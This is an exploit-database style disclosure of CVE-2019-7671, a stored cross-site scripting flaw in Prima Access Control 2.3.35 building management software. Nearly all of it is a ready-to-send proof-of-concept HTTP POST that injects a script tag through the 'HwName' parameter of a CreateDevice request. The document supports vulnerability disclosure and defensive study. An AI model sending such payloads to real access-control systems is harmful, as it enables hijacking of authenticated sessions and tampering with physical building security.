Prima Access Control 2.3.35 - 'HwName' Persistent Cross-Site Scripting

# Exploit Title: Prima Access Control 2.3.35 - 'HwName' Persistent Cross-Site Scripting
# Google Dork: NA
# Date: 2019-11-11
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
# Software Link: https://www.computrols.com/building-automation-software/
# Version: 2.3.35
# Tested on: NA
# CVE : CVE-2019-7671
# Advisory: https://applied-risk.com/resources/ar-2019-007
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# Prima Access Control 2.3.35 Authenticated Stored XSS

# PoC

POST /bin/sysfcgi.fx HTTP/1.1
Host: 192.168.13.37
Connection: keep-alive
Content-Length: 265
Origin: https://192.168.13.37
Session-ID: 10127047
User-Agent: Mozi-Mozi/44.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: text/html, */*; q=0.01
Session-Pc: 2
X-Requested-With: XMLHttpRequest
Referer: https://192.168.13.37/app/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

<requests><request name="CreateDevice"><param name="HwType" value="1000"/><param name="HwParentID" value="0"/><param name="HwLogicParentID" value="0"/><param name="HwName" value=""><script>alert("XSSz")</script>"/></request></requests>